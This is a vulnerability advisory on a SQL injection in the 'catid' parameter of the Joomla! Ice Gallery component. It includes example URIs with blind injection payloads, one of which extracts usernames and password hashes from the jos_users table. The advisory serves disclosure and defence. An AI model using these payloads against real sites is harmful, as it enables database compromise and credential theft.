Joomla! Ice Gallery Component 'catid' Parameter SQL Injection Vulnerability

Bugtraq ID:	33008
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 24 2008 12:00AM
Updated:	Feb 23 2010 04:41PM
Credit:	boom3rang
Vulnerable:	Markus Donhauser Ice Gallery 0.5 beta 2
Not Vulnerable:

Joomla! Ice Gallery Component 'catid' Parameter SQL Injection Vulnerability

The Ice Gallery component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ice Gallery 0.5 beta 2 is affected; other versions may also be vulnerable.

Joomla! Ice Gallery Component 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=4
http://www.example.com/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=5
http://www.example.com/index.php?option=com_ice&catid=1 and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96

The following exploit is available:

• /data/vulnerabilities/exploits/33008-2.php

Joomla! Ice Gallery Component 'catid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! Ice Gallery Component 'catid' Parameter SQL Injection Vulnerability

References:

• Ice Gallery Homepage (JoomlaCode)